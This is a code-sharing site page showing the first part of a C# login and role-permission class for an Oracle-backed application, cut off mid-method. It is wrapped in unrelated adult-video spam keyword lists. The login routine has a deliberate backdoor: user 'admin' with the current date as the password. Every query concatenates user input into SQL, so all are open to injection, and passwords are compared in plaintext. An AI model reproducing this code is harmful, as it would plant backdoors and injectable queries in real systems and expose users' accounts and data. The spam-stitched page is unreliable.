亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? cuser.cs

?? 數據操作WEBSERVER,支持代碼直接訪問數據庫和傳輸數據
?? CS
?? 第 1 頁 / 共 2 頁
字號:
using System;
using System.Data;
using System.Collections;
using System.Data.OracleClient;
using DataMiddleware;
using System.Windows.Forms;
using ICT.CARS.DataFactroy;

namespace ICT.CARS.GlobalProperty.BackgroudManager
{
	/// <summary>
	/// 用戶相關信息
	/// Author:wxl
	/// Date: 2007-04-06
	/// </summary>
	public class CUser
	{
		private static string strRoleName = string.Empty;

		/// <summary>
		/// 設置、獲取角色名稱
		/// Author:wxl
		/// Date: 2007-04-10
		/// </summary>
		public static string RoleName
		{
			get 
			{
				return strRoleName;
			}
			set
			{
				if(strRoleName !=value)
				{
					strRoleName = value;
				}
			}
		}

		private static string m_DeptName = string.Empty;
		/// <summary>
		/// 部門名稱
		/// </summary>
		public static string DeptName
		{
			get
			{
				return m_DeptName;
			}
		}

		private static string m_FiliationDept = string.Empty;

		/// <summary>
		/// 分支部門編號
		/// </summary>
		public static string FiliationDept
		{
			get
			{
				return m_FiliationDept;
			}
		}

		private static string m_FiliationDeptName = string.Empty;

		/// <summary>
		/// 分支部門編號
		/// </summary>
		public static string FiliationDeptName
		{
			get
			{
				return m_FiliationDeptName;
			}
		}

		private static string m_CardID = string.Empty;
		/// <summary>
		/// 磁卡編號
		/// </summary>
		public static string CardID
		{
			get
			{
				return m_CardID;
			}
		}

		private static string m_WorktypePath = string.Empty;

		/// <summary>
		/// 作業路徑
		/// </summary>
		public static string WorkTypePath
		{
			get { return m_WorktypePath; }
		}

		#region 身份驗證 CheckUser()
		/// <summary>
		/// 身份驗證
		/// </summary>
		/// <param name="userName">用戶名稱</param>
		/// <param name="Password">用戶密碼</param>		
		public static bool CheckUser(TextBox txtUserName, TextBox txtPassword)
		{
			bool isCheck = false;
			object obj = string.Empty;
			if (txtUserName.Text.Trim() == "" && txtPassword.Text.Trim() == "")
			{
				MessageBox.Show("用戶名或密碼不能為空");
				SetTextBox(txtUserName);    //設置TextBox
				isCheck = false;
			}
			else if(txtUserName.Text.Trim() == "admin" && txtPassword.Text.Trim() == System.DateTime.Now.Date.ToString("yyyyMMdd"))
			{
				isCheck = true;//維護人員專用
			}
			else
			{
				IDataAccess DB = null;
				try
				{
					DB = StaticAccess.GetAccess();
					DB.Open();
					string sql = "SELECT s_Password FROM P$SYS_USER_DICT WHERE s_UserName='" + txtUserName.Text + "'";
					obj = DB.ExecuteScalar(sql);
					if (obj == null)
					{
						MessageBox.Show("用戶名不存在!");
						SetTextBox(txtUserName);    //設置TextBox
						isCheck = false;
					}
					if (obj != null && obj.ToString().Trim() != txtPassword.Text.Trim().ToString())
					{
						MessageBox.Show("密碼錯誤!");
						SetTextBox(txtPassword);
						isCheck = false;
					}
					else
					{
						if(txtUserName.Text.Trim().Length !=0 && txtUserName.Text.Trim() !="" && obj != null)  //如果用戶名不為空
						{
							isCheck = true;
						}
					}
				}
				catch
				{

				}
				finally
				{
					DB.Close();
				}
			}			
			return isCheck;
		}

		/// <summary>
		/// 設置TextBox
		/// </summary>
		/// <param name="textBox"></param>
		private static void SetTextBox(TextBox textBox)
		{
			textBox.SelectAll();
			textBox.Focus();
		}

		#endregion

		#region 獲取用戶ID GetUserID
		/// <summary>
		/// 獲取用戶ID(職工編號)
		/// </summary>
		/// <param name="userName">用戶名稱</param>
		/// <returns>用戶ID編號</returns>
		public static string GetUserID(string userName)
		{
			string result = "";
			IDataAccess DB = null;
			try
			{
				DB = StaticAccess.GetAccess();
				DB.Open();
				string strSql = "SELECT s_StuffCode FROM P$SYS_USER_DICT WHERE s_UserName='" + userName + "'";
				
				object obj = DB.ExecuteScalar(strSql);
				if (obj != null)
				{
					result = obj.ToString();
				}
			}
			catch
			{
				throw new Exception("獲取用戶信息出錯!請重試!");
			}
			finally
			{
				DB.Close();
			}

			return result;
		}
		#endregion

		#region 獲取角色編號 GetActorCode
		/// <summary>
		/// 獲取某個用戶所具有的角色Code,與用戶表關聯獲取得出角色Code
		/// Modify Date: 2007-04-10
		/// </summary>
		/// <param name="userName">用戶名稱</param>
		/// <returns>角色編號</returns>
		public static string GetActorCode(string userName)
		{
			string strRoleID = "";
			IDataAccess DB = null;
			DataTable dt = null;
			try
			{
				DB = StaticAccess.GetAccess();
				DB.Open();
				string strSql = "SELECT c_RoleCode,S_ROLENAME, B.S_workroute FROM P$SYS_ROLE_DICT A  INNER JOIN " +
					"P$SYS_USER_DICT B ON trim(B.s_Role) = trim(A.c_RoleCode) WHERE s_UserName='" + userName + "'";

				dt = DB.GetDataTableBySQL(strSql);
				if(dt !=null)
				{
					foreach(DataRow row in dt.Rows)
					{
						strRoleID = row["c_RoleCode"].ToString();
						
						strRoleName=row["S_ROLENAME"].ToString();  //將調度員添加到屬性實體
						m_WorktypePath = row["S_workroute"].ToString();  
					}
				}

				#region Comment
				//object obj = DB.ExecuteScalar(strSql);
				//                
				//actors = obj.ToString();
				//	//判斷是否為空
				//if (actors.Length == 0)
				//{
				//		actors = "''";
				//}
				#endregion
			}
			catch(Exception ex)
			{
				throw ex;
			}
			finally
			{
				DB.Close();
			}
			return strRoleID;
		}
		#endregion


		#region 獲取模塊編號列表及各個模塊具有的相關權限 

		private static Hashtable _hashTable = new Hashtable();   
     
		/// <summary>
		/// 定義一個HashTable,存儲模塊名稱與模塊權限 
		/// </summary>
		public static Hashtable hashTable
		{
			get
			{
				return _hashTable;
			}
		}
		/// <summary>
		/// 根據角色獲取分配的模塊列表
		/// </summary>
		/// <param name="roleCode">角色編號</param>
		/// <returns>模塊編號列表</returns>
		public static string GetModuleCode(string roleCode)
		{
			string moduleCode = "";
			IDataAccess DB = null;
			DataTable dt = null;
			try
			{
				DB = StaticAccess.GetAccess();
				DB.Open();
				string strSql = "select * from P$SYS_ROLE_GRANT_DICT where C_Rolecode ='" + roleCode + "'";
				dt = DB.GetDataTableBySQL(strSql);
				if (dt != null)
				{
					foreach (DataRow row in dt.Rows)
					{
						string code = row["c_ModuleCode"].ToString();
						string permCode = row["c_PermCode"].ToString(); //權限編號
						string opr = PermOperator(permCode);  //獲取模塊的操作權限,因為
						if (moduleCode.Length == 0)
						{
							moduleCode = code;
						}
						else
						{
							moduleCode += "," + code;
						}
						string strName = GetModuleNames(code);  //選擇單個模塊名稱
						_hashTable.Add(strName, opr); //將各個模塊的操作權限裝到HasTable中
					}
				}
			}
			catch
			{
			}
			finally
			{
				DB.Close();
			}
			return moduleCode;
		}

		/// <summary>
		/// 獲取具體模塊所具有的操作權限,如增、刪、改、查
		/// </summary>
		/// <param name="moduleCode">模塊編號</param>
		/// <returns>操作名稱</returns>
		private static string PermOperator(string moduleCode)
		{
			string canOperator = "";
			IDataAccess DB = null;
			try
			{
				DB = StaticAccess.GetAccess();
				DB.Open();

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区在线免费观看| 成人精品电影在线观看| 国产精品一区二区男女羞羞无遮挡 | 日韩精品久久久久久| 国产精品一区二区在线观看网站| 欧美三级资源在线| 中文一区二区在线观看| 另类综合日韩欧美亚洲| 色一情一伦一子一伦一区| 欧美v日韩v国产v| 亚洲国产另类av| 不卡的av在线| 国产亚洲欧美中文| 韩国成人在线视频| 欧美精三区欧美精三区| 亚洲欧美一区二区三区国产精品| 国产精品一区二区男女羞羞无遮挡 | a4yy欧美一区二区三区| 欧美电影免费观看高清完整版在线 | 国产精品国产a| 国产乱子轮精品视频| 欧美顶级少妇做爰| 亚洲成av人片一区二区三区| 99久久精品费精品国产一区二区| 久久精品夜夜夜夜久久| 国产永久精品大片wwwapp| 日韩欧美专区在线| 三级久久三级久久| 欧美一区二区美女| 免费在线看一区| 欧美xxxx在线观看| 看电视剧不卡顿的网站| 欧美一级理论性理论a| 青娱乐精品视频在线| 欧美日韩国产系列| 爽好多水快深点欧美视频| 欧美日韩国产成人在线91| 日韩精品成人一区二区在线| 欧美嫩在线观看| 日本一不卡视频| 欧美电视剧在线看免费| 国内精品免费**视频| wwwwww.欧美系列| 国产精品99精品久久免费| 国产视频一区二区三区在线观看| 国产精品亚洲视频| 国产精品久久三| 在线观看视频一区二区| 亚洲一区成人在线| 91精品欧美一区二区三区综合在| 日av在线不卡| 国产欧美视频一区二区三区| 成人av免费观看| 亚洲自拍偷拍欧美| 91精品国产综合久久香蕉的特点| 激情图片小说一区| 亚洲男人的天堂av| 欧美理论片在线| 国产原创一区二区| 国产精品国产三级国产| 欧美日韩在线三级| 久久精品国产99国产| 国产亚洲福利社区一区| 91传媒视频在线播放| 蜜桃av一区二区| 中国色在线观看另类| 欧美性感一类影片在线播放| 日韩二区三区四区| 中文字幕乱码一区二区免费| 欧美色老头old∨ideo| 国模套图日韩精品一区二区| 亚洲精品午夜久久久| 精品国产区一区| 91成人国产精品| 狠狠色丁香久久婷婷综合丁香| 国产精品久久久久久妇女6080| 91麻豆精品国产自产在线| 粉嫩一区二区三区在线看| 亚洲永久精品大片| 国产婷婷精品av在线| 制服丝袜亚洲色图| 91麻豆高清视频| 黑人巨大精品欧美黑白配亚洲| 亚洲欧洲中文日韩久久av乱码| 欧美v国产在线一区二区三区| 色噜噜狠狠色综合中国| 黄色精品一二区| 亚洲成a人片综合在线| 国产精品国产自产拍在线| 日韩精品中文字幕一区| 欧美日韩一级片在线观看| fc2成人免费人成在线观看播放| 日本中文在线一区| 亚洲丰满少妇videoshd| 亚洲欧洲无码一区二区三区| 欧美精品一区二区三区久久久| 欧美亚洲国产怡红院影院| 成人黄色小视频| 国产一区在线不卡| 久久99国产精品免费网站| 亚洲国产精品久久人人爱蜜臀 | 久久免费看少妇高潮| 在线不卡的av| 欧美日韩在线播| 91久久精品日日躁夜夜躁欧美| 成人免费精品视频| 国产99久久久国产精品| 国产剧情一区二区三区| 经典三级视频一区| 蜜臀精品久久久久久蜜臀| 丝袜美腿亚洲一区二区图片| 亚洲va欧美va人人爽| 亚洲综合男人的天堂| 亚洲图片自拍偷拍| 亚欧色一区w666天堂| 亚洲成人免费视频| 视频一区在线播放| 另类小说图片综合网| 麻豆成人免费电影| 韩国成人福利片在线播放| 国产尤物一区二区| 国产91精品露脸国语对白| 成人一区二区三区视频| aaa亚洲精品| 日本韩国欧美一区二区三区| 日本道免费精品一区二区三区| 色综合久久久久久久久久久| 91行情网站电视在线观看高清版| 色94色欧美sute亚洲线路一ni| 日本韩国欧美在线| 欧美日本视频在线| 日韩免费一区二区三区在线播放| 欧美α欧美αv大片| 欧美国产1区2区| 一区二区在线观看免费| 日韩国产精品大片| 精品一区二区三区香蕉蜜桃| 国产电影精品久久禁18| 色先锋资源久久综合| 欧美精品 日韩| 国产亚洲一区字幕| 亚洲精品国久久99热| 爽好久久久欧美精品| 国产在线播放一区二区三区| 99re在线精品| 欧美一区二区三区婷婷月色| 国产日韩av一区二区| 一级日本不卡的影视| 久久99精品久久久| 91麻豆自制传媒国产之光| 51久久夜色精品国产麻豆| 久久久久亚洲蜜桃| 亚洲一区在线免费观看| 国产在线精品一区二区| 日本道免费精品一区二区三区| 日韩免费在线观看| 亚洲精品日日夜夜| 国产成人在线观看免费网站| 欧美亚男人的天堂| 国产欧美精品一区二区三区四区| 亚洲永久免费av| 国产91对白在线观看九色| 欧美绝品在线观看成人午夜影视| 欧美国产禁国产网站cc| 日本伊人色综合网| 日本伦理一区二区| 国产日韩成人精品| 青青国产91久久久久久| 在线免费观看视频一区| 国产欧美日韩麻豆91| 美女视频第一区二区三区免费观看网站| 99久久伊人精品| 久久久久久免费| 蜜桃av一区二区在线观看| 在线观看91精品国产入口| 国产亲近乱来精品视频 | 亚洲福利一区二区| av网站免费线看精品| 26uuu色噜噜精品一区| 亚洲高清一区二区三区| 91玉足脚交白嫩脚丫在线播放| 2017欧美狠狠色| 免费不卡在线视频| 欧美喷水一区二区| 亚洲午夜电影在线观看| 色婷婷精品久久二区二区蜜臂av| 久久蜜桃av一区二区天堂| 日韩激情在线观看| 欧美日韩精品免费| 亚洲一区二区不卡免费| 在线观看av一区二区| 一区二区三区在线免费视频| 成人av免费在线| 国产精品系列在线| 不卡的av中国片| 国产精品理论片| 99精品热视频| 一区二区三区视频在线观看| 色又黄又爽网站www久久| 亚洲男人的天堂网|